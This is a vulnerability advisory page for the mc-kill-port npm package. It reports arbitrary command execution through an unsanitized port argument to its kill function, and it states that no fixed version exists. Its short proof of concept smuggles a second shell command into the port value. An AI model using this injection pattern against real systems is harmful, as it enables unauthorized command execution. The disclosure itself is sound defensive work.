Arbitrary Command Execution Affecting mc-kill-port package, versions *


Severity

Recommended
0.0
high
0
10

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Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.04% (5th percentile)

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  • Snyk IDSNYK-JS-MCKILLPORT-2419070
  • published18 Jul 2022
  • disclosed6 Mar 2022
  • creditFeng Xiao, Zhongfu Su

Introduced: 6 Mar 2022

CVE-2022-25973  (opens in a new tab)
CWE-77  (opens in a new tab)
First added by Snyk

How to fix?

There is no fixed version for mc-kill-port.

Overview

mc-kill-port is a package allowing termination of ports.

Affected versions of this package are vulnerable to Arbitrary Command Execution via the kill function, due to missing sanitization of the port argument.

PoC

const kill = require("mc-kill-port");
kill("abc|echo rce > newFile.txt")

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